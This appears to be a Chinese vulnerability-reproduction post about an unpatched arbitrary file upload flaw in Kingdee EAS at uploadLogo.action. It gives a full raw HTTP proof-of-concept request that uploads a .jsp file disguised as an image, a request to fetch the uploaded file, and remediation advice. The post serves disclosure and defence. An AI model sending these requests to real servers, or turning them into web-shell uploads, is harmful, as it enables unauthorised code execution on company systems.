【漏洞复现】金蝶OA-EAS系统 uploadLogo.action 任意文件上传漏洞(0day)
阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
产品介绍
金蝶EAS Cloud为集团型企业提供功能全面、性能稳定、扩展性强的数字化平台,帮助企业链接外部产业链上下游,实现信息共享、风险共担,优化生态圈资源配置,构筑产业生态的护城河,同时打通企业内部价值链的数据链条,实现数据不落地,管理无断点,支撑“横向到边”财务业务的一体化协同和“纵向到底”集团战略的一体化管控,帮助企业强化核心竞争力。
漏洞概述
金蝶 EAS 及 EAS Cloud 是金蝶软件公司推出的一套企业级应用软件套件,旨在帮助企业实现全面的管理和业务流程优化。金蝶 EAS 及 EAS Cloud 在 uploadLogo.action 存在文件上传漏洞,攻击者可以利用文件上传漏洞执行恶意代码、写入后门、读取敏感文件,从而可能导致服务器受到攻击并被控制。
漏洞影响
金蝶OA EAS系统
漏洞复现
登录页面
验证POC:
POST /plt_portal/setting/uploadLogo.action HTTP/1.1 Host: User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) Accept-Encoding: gzip, deflate Accept: */* Connection: close X-Forwarded-For: Content-Length: 632 Content-Type: multipart/form-data; boundary=04844569c7ca7d21a3ca115dca477d62 --04844569c7ca7d21a3ca115dca477d62 Content-Disposition: form-data; name="chooseLanguage_top"; filename="chooseLanguage_top" ch --04844569c7ca7d21a3ca115dca477d62 Content-Disposition: form-data; name="dataCenter"; filename="dataCenter" xx --04844569c7ca7d21a3ca115dca477d62 Content-Disposition: form-data; name="insId"; filename="insId" --04844569c7ca7d21a3ca115dca477d62 Content-Disposition: form-data; name="type"; filename="type" top --04844569c7ca7d21a3ca115dca477d62 Content-Disposition: form-data; name="upload"; filename="test.jsp" Content-Type: image/png test --04844569c7ca7d21a3ca115dca477d62--
上传路径:
GET /portal/res/file/upload/xxx.jsp HTTP/1.1 Host: User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30) Accept-Encoding: gzip, deflate Accept: */* Connection: close X-Forwarded-For:
修复建议
目前,金蝶OA官方暂未发布补丁,临时解决方案如下:
1、对上传文件类型进行验证,除在前端验证外在后端依然要做验证,后端可以进行扩展名检测,重命名文件,MIME类型检测以及限制上传文件的大小等限制来防御,或是将上传的文件其他文件存储服务器中。
2、严格限制和校验上传的文件,禁止上传恶意代码的文件。同时限制相关上传文件目录的执行权限,防止木马执行。
3、对上传文件格式进行严格校验,防止上传恶意脚本文件。
4、严格限制上传的文件路径。
5、文件扩展名服务端白名单校验。
6、文件内容服务端白名单校验。
7、上传文件重命名。
8、隐藏上传文件路径。